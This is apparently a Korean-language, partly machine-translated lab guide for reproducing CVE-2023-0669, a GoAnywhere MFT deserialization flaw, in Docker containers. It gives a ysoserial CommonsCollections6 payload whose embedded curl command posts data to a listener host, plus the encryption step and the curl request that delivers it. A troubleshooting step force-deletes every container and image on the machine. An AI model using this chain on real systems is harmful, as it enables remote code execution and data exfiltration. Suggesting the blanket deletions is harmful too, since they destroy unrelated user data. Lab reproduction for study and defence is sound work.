프로젝트 구조

cve-2023-0669-simulation/ ├── docker-compose.yml ├── attacker/ │ ├── Dockerfile │ └── CVE_2023_0669_helper.java ├── vulnerable/ │ ├── Dockerfile │ └── VulnerableServer.java ├── listener/ │ ├── Dockerfile │ └── server.py └── received/ ← créé automatiquement (exfiltration)

2. 3개의 컨테이너 시작 (공격자, 취약, 리스너)

docker-compose up --build

문제: docker compose up 중 KeyError: 'ContainerConfig' 오류

이 프로젝트는 다음을 필요로 합니다:

• Docker Engine: v24 또는 v25 최소
• Docker Compose: v2.20+ (Docker에 자동 포함) KeyError: 'ContainerConfig'는 docker compose up 시 발생하며, 일반적으로 오래되었거나 손상된 Docker 메타데이터 또는 오래된 이미지에서 비롯됩니다. 깨진 컨테이너, 이미지 및 메타데이터를 삭제하세요:

docker compose down --remove-orphans

docker rm -f $(docker ps -aq)

docker rmi -f $(docker images -q)

그런 다음 깨끗하게 다시 빌드하세요:

docker compose build --no-cache

docker compose up

3. 공격자 컨테이너에 진입

docker exec -it attacker bash

안전한 페이로드 생성 (메시지 하나만 전송)```

java -jar ysoserial-all.jar CommonsCollections6 'curl -s http://listener:8080/receive -d "PWNED-CVE-2023-0669-simulation-$(date)"' > payload.ser

페이로드 암호화

java CVE_2023_0669_helper payload.ser 1

→ 표시되는 전체 긴 문자열 복사 (Ctrl+A 후 Ctrl+C)

익스플로잇 전송 (방금 복사한 문자열로 LA_CHAINE 대체)

curl -X POST http://vulnerable:8001/goanywhere/lic/accept
-d "encryptedLicenseResponseData=LA_CHAÎNE_BASE64_ICI"
-d "acceptLicense=true"

7. 즉시 결과

리스너 로그(또는 PC의 ./received 폴더)에서 다음을 볼 수 있습니다:

PWNED ! 수신됨 42 바이트 → PWNED-CVE-2023-0669-simulation-Sat 06 Dec 2025...